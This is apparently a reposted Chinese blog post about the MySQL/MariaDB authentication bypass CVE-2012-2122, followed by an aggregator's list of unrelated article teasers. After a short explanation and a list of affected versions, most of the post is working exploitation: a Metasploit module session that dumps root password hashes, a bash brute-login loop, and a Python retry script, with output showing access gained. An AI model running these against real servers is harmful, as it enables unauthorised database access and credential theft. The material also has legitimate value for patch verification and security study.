Mysql身份認證漏洞及利用(CVE-2012-2122) 補充測試用例

當連接MariaDB/MySQL時，輸入的密碼會與期望的正確密碼比較，由于不正確的處理，會導致即便是memcmp()返回一個非零值，也會使MySQL認為兩個密碼是相同的。
也就是說只要知道用戶名，不斷嘗試就能夠直接登入SQL數據庫。按照公告說法大約256次就能夠蒙對一次。而且漏洞利用工具已經出現。
?
受影響的產品：
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
?
網上已經出了metasploit版本的相應利用工具，下載地址
?
利用方法如下：
?
?
$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf? auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf? auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf? auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
?
?
測試方法2：
?
?
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
?
?
測試方法3：
?
?
#!/usr/bin/python
import subprocess
?
while 1:
??????? subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
?
?
如下：
?
?
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
?
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598?www.2cto.com
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
?
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
?
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
?
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
?

mysql>


本文轉自 ? ?geekwolf ? 51CTO博客，原文鏈接:http://blog.51cto.com/linuxgeek/998205



本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/285839.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/285839.shtml
英文地址，請注明出處：http://en.pswp.cn/news/285839.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

添加啟動類

添加啟動類

添加.h和cpp #pragma once #include "afxwin.h" class mySplash :public CWnd {DECLARE_DYNAMIC(mySplash)protected:DECLARE_MESSAGE_MAP()public:CBitmap m_bitmap;void Create(UINT nBitmapID);afx_msg void OnPaint();afx_msg void OnTimer(UINT_PTR nIDEvent); …
閱讀更多...
ArcGIS實驗教程——實驗三十七：基于ArcGIS的太陽輻射分析案例教程

ArcGIS實驗教程——實驗三十七：基于ArcGIS的太陽輻射分析案例教程

ArcGIS實驗視頻教程合集：《ArcGIS實驗教程從入門到精通》（附配套實驗數據）》 文章目錄 一、太陽輻射的基本概念1. 視域2. 太陽圖3. 星空圖二、太陽輻射ArcGIS案例實現1. 對該區域進行太陽輻射區域分析2. 對單個點的太陽輻射進行分析太陽輻射是地球上各種物理過程和生物過程的…
閱讀更多...
C語言試題七十八之請編寫函實現求2個數的最大公約數和最小公倍數（輾轉相除法）

C語言試題七十八之請編寫函實現求2個數的最大公約數和最小公倍數（輾轉相除法）

??個人主頁：個人主頁 ??系列專欄：C語言試題200例目錄 ??推薦一款刷算法、筆試、面經、拿大公司offer神器 ?? 點擊跳轉進入網站 ?作者簡介：大家好，我是碼莎拉蒂，CSDN博客專家（全站排名Top 50），阿里云博客專家、51CTO博客專家、華為云享專家 1、題目 求2個數的…
閱讀更多...
restful-api-design-references

restful-api-design-references

之所以創建這個 repository，是因為我希望收集一些比較好的有關于 RESTful API 設計的參考文獻。偶爾回顧，偶爾改進，大家一起來吧~ 如果你有更好的私藏文章，不凡分享出來，獨樂樂不如眾樂樂，(⊙o⊙) RESTful…
閱讀更多...
jQuery 3.4.0 Released（2019.4.10）

jQuery 3.4.0 Released（2019.4.10）

jQuery has a new release! It’s been a while since our last release, but we expect this to be the last minor release in the 3.x branch, and then we will move on to the overhaul that will be jQuery 4.0. But before we get to 4.0, we’re excited to share the …
閱讀更多...
C#-Linq源碼解析之DefaultIfEmpty

C#-Linq源碼解析之DefaultIfEmpty

前言在Dotnet開發過程中&#xff0c;DefaultIfEmpty作為IEnumerable的擴展方法&#xff0c;十分常用。本文對DefaultIfEmpty方法的關鍵源碼進行簡要分析&#xff0c;以方便大家日后更好的使用該方法。使用DefaultIfEmpty 返回 IEnumerable< T> 的元素&#xff1b;如果序列…
閱讀更多...
ArcGIS實驗教程——實驗三十八：基于ArcGIS的等高線、山體陰影、山頂點提取案例教程

ArcGIS實驗教程——實驗三十八：基于ArcGIS的等高線、山體陰影、山頂點提取案例教程

ArcGIS實驗視頻教程合集：《ArcGIS實驗教程從入門到精通》（附配套實驗數據）》 文章目錄 1. 加載DEM2. 提取等高距為15m的等高線3. 提取等高距為75m的等高線4. 生成山體陰影5. 生成三維等高線6. 提取山頂點7. 實驗數據下載地址山頂點指那些在特定鄰域分析范圍內，該點都比周圍…
閱讀更多...
Zabbix3.0 安裝Graphtree

Zabbix3.0 安裝Graphtree

zabbix中&#xff0c;想要集中展示圖形&#xff0c;唯一的選擇是screen&#xff0c;zatree可以解決這個問題&#xff0c;但是性能不是很好。 Graphtree由OneOaas開發并開源出來&#xff0c;用來解決zabbix的圖形展示問題&#xff0c;性能比較好 因為默認的zabbix 展示圖形很麻煩…
閱讀更多...
（2.3）其他補充—— 二、solidity 基礎進階《實戰NFT web3 solidity(新版本0.8.+)》

（2.3）其他補充—— 二、solidity 基礎進階《實戰NFT web3 solidity(新版本0.8.+)》

《web3 solidity0.8.版本&#xff08;持續更新新版本內容&#xff09; 基礎到實戰NFT開發》會及時更新新版本 solidity 內容&#xff0c;以及完成最終的 NFT 實戰商業項目部分。 注&#xff1a;由于是付費專欄內容&#xff0c;若有錯誤請及時聯系1_bit&#xff0c;博客鏈接&am…
閱讀更多...
Android之實現點擊布局縮小然后再放大動畫

Android之實現點擊布局縮小然后再放大動畫

1、需求 現在需要實現點擊View先縮小然后再放大效果 2、代碼實現 在res的anim目錄下面&#xff0c;寫anim_small.xml文件 <?xml version"1.0" encoding"utf-8"?> <set xmlns:android"http://schemas.android.com/apk/res/android"…
閱讀更多...
如何在web api中使用SignalR

如何在web api中使用SignalR

說明&#xff1a; 在webapi中使用signalr&#xff0c;使用IIS 環境&#xff1a; vs2012, .net4.5 第一步&#xff1a;建web api項目 第二步&#xff1a;nuget導入signalr Install-Package Microsoft.AspNet.SignalR Install-Package Microsoft.Owin.Cors &#xff08;用于…
閱讀更多...
Directx11學習筆記【二】 將HelloWin封裝成類

Directx11學習筆記【二】 將HelloWin封裝成類

我們把上一個教程的代碼封裝到一個類中來方便以后的使用。 首先新建一個空工程叫做MyHelloWin&#xff0c;添加一個main.cpp文件&#xff0c;然后新建一個類叫做MyWindow,將于窗體有關的操作封裝到里面 MyWindow.h文件 1 /***************************************************…
閱讀更多...
Badboy自動化測試工具11 導出腳本用于Jmeter并發測試

Badboy自動化測試工具11 導出腳本用于Jmeter并發測試

本節主要講解利用Jmeter進行并發測試和引入圖像報表 1. 在Jmeter中打開上節課&#xff08;10&#xff09;Badboy導出的在拉手網查詢KTV的腳本Lashou_Search.jmx. 2. 右擊Lashou節點&#xff0c;Add->Listener->Aggregate Graph & Graph Results 3. 對圖像報表進行配置…
閱讀更多...
ArcGIS實驗教程——實驗三十九：ArcGIS多元分類（ISO聚類分析、最大似然分類、主成分分析）案例教程

ArcGIS實驗教程——實驗三十九：ArcGIS多元分類（ISO聚類分析、最大似然分類、主成分分析）案例教程

ArcGIS實驗視頻教程合集：《ArcGIS實驗教程從入門到精通》（附配套實驗數據）》 文章目錄 一、ISO聚類1. ISO聚類簡介2. ISO聚類進行非監督分類實驗操作二、最大似然分類1. 最大似然簡介2. 最大似然分類實驗案例三、主成分分析1. 主成分分析簡介2. 主成分分析實驗案例四、配套實…
閱讀更多...
ABP Framework 5.3.0 版本新增功能和變更說明

ABP Framework 5.3.0 版本新增功能和變更說明

ABP Framework 5.3.0 穩定版已在2022年6月14日正式發布。以下是本版本的新增功能&#xff1a;? “開始”頁面提供創建單層項目選項? 啟動模板提供 PWA 支持? Volo.Abp.Gdpr.Abstractions 包介紹? 將發件箱中的事件批量發布到事件總線? eShopOnAbp 項目改進和電子書公告? …
閱讀更多...
智能合約開發——TypeScript 基礎（全）

智能合約開發——TypeScript 基礎（全）

TS 準備 首先我們準備一個目錄&#xff0c;使用 dos 進入到某目錄&#xff0c;當然你直接 vs 打開終端執行也是沒有問題的&#xff1a; 執行以下命令安裝 typescrip&#xff08;不用進入目錄&#xff0c;直接安裝即可&#xff09;&#xff1a; npm install -g typescript我是…
閱讀更多...
查看MySQL的當前日期

查看MySQL的當前日期

select current_date(); 查看MySQL的當前日期轉載于:https://www.cnblogs.com/dengyg200891/p/5972698.html
閱讀更多...
【ArcGIS風暴】ArcGIS支持的柵格數據格式大全及格式轉換案例精解

【ArcGIS風暴】ArcGIS支持的柵格數據格式大全及格式轉換案例精解

ArcGIS功能異常強大，支持多種常見的柵格數據格式，并可實現多個柵格格式的自由轉換。 在ArcGIS中，常見的柵格數據格式有：TIFF、BMP、ENVI、Esri BIL、Esri BIP、Esri BSQ、GIF、GRID、IMAGINE Image、JP2、JPG、和PNG。 BIL —Esri 波段按行交叉格式文件BIP —Esri 波段按像…
閱讀更多...
Android之靠譜的獲取本地相冊圖片

Android之靠譜的獲取本地相冊圖片

1、需要申請手機讀寫的權限 AndroidMani.xml里面配置權限 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 我們一般采用RxPe…
閱讀更多...
利用Signalr實現手機端App掃碼登錄web頁面

利用Signalr實現手機端App掃碼登錄web頁面

實現原理&#xff1a; 1、web登錄頁面&#xff0c;利用jquery.qrcode展示一個隨機生成的登錄碼的二維碼&#xff1b; 2、手機App掃描二維碼取得登錄碼&#xff1b; 3、手機App將本地用戶id登錄碼通過api提交服務器&#xff1b; 4、服務器api&#xff0c;收到手機App請求&am…
閱讀更多...
最新文章

Copyright @ 2022~2023